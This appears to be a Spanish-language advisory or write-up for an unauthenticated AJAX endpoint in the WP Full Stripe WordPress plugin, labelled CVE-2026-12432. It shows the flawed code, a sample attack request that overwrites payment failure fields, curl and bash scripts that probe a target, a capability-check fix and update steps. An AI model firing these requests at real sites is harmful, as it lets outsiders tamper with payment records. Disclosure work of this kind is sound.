// wpfs-customer.php, Línea 705-706
add_action( 'wp_ajax_wpfs_update_failed_payment_status', [ $this, 'update_failed_payment_status' ] );
add_action( 'wp_ajax_nopriv_wpfs_update_failed_payment_status', [ $this, 'update_failed_payment_status' ] );

// wpfs-customer.php, Línea 3835-3865
function update_failed_payment_status() {
    try {
        $result = [];
        $failureCode = isset( $_POST['failureCode'] ) ? sanitize_text_field( $_POST['failureCode'] ) : null;
        $failureMessage = isset( $_POST['failureMessage'] ) ? sanitize_text_field( $_POST['failureMessage'] ) : null;
        $paymentIntentId = isset( $_POST['paymentIntentId'] ) ? sanitize_text_field( $_POST['paymentIntentId'] ) : null;

        $paymentIntent = $this->stripe->retrievePaymentIntent( $paymentIntentId );
        // ... sin comprobación de autenticación antes de procesar ...

        $updateData = [
            'paid' => 0,
            'captured' => 0,
            'refunded' => 0
        ];

        // El atacante puede sobrescribir con valores controlados
        if ( $lastCharge ) {
            $updateData['last_charge_status'] = $lastCharge->status;
            $updateData['failure_code'] = $lastCharge->failure_code;
            $updateData['failure_message'] = $lastCharge->failure_message;
        } else {
            $updateData['last_charge_status'] = 'failed';
            $updateData['failure_code'] = $failureCode;
            $updateData['failure_message'] = $failureMessage;
        }

        $this->db->updatePaymentByEventId( $paymentIntentId, $updateData );
        // ...
    }
}

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

action=wpfs_update_failed_payment_status&paymentIntentId=pi_XXXX&failureCode=ATTACKER_CODE&failureMessage=ATTACKER_MESSAGE

# Prueba si el endpoint es accesible sin autenticación
curl -s -k -X POST "https://TARGET/wp-admin/admin-ajax.php" \
  -d "action=wpfs_update_failed_payment_status" \
  -d "paymentIntentId=test_cve202612432" \
  -d "failureCode=TEST_CODE" \
  -d "failureMessage=TEST_MESSAGE"

# Respuesta esperada (vulnerable):
# {"success":false,"messageTitle":"Internal Error","message":"Invalid API Key provided...","exceptionMessage":"..."}

# El indicador clave es que el endpoint responde SIN requerir autenticación

#!/bin/bash
TARGET="https://TARGET"

# Verificar si es vulnerable
echo "[*] Probando CVE-2026-12432..."

RESPONSE=$(curl -s -k -X POST "$TARGET/wp-admin/admin-ajax.php" \
  -d "action=wpfs_update_failed_payment_status" \
  -d "paymentIntentId=test_123" \
  -d "failureCode=XSS" \
  -d "failureMessage=INJECTED")

if echo "$RESPONSE" | grep -q "success"; then
    echo "[+] VULNERABLE - Endpoint accesible sin autenticación"
else
    echo "[-] No vulnerable o error"
fi

function update_failed_payment_status() {
    // AGREGAR ESTA COMPROBACIÓN
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized');
    }
    // ... resto de la función
}

# A través del administrador de WordPress
Dashboard > Plugins > WP Full Stripe > Actualizar

# A través de WP-CLI
wp plugin update wp-full-stripe-free

# A través de SSH
wp plugin update wp-full-stripe-free --version=8.4.4

# Verificar si está instalada una versión vulnerable
curl -s https://TARGET/wp-content/plugins/wp-full-stripe-free/readme.txt | grep -i "Stable tag"

# Probar el endpoint AJAX
curl -s -k -X POST "https://TARGET/wp-admin/admin-ajax.php" \
  -d "action=wpfs_update_failed_payment_status" \
  -d "paymentIntentId=test" | grep -q "success" && echo "Potencialmente Vulnerable"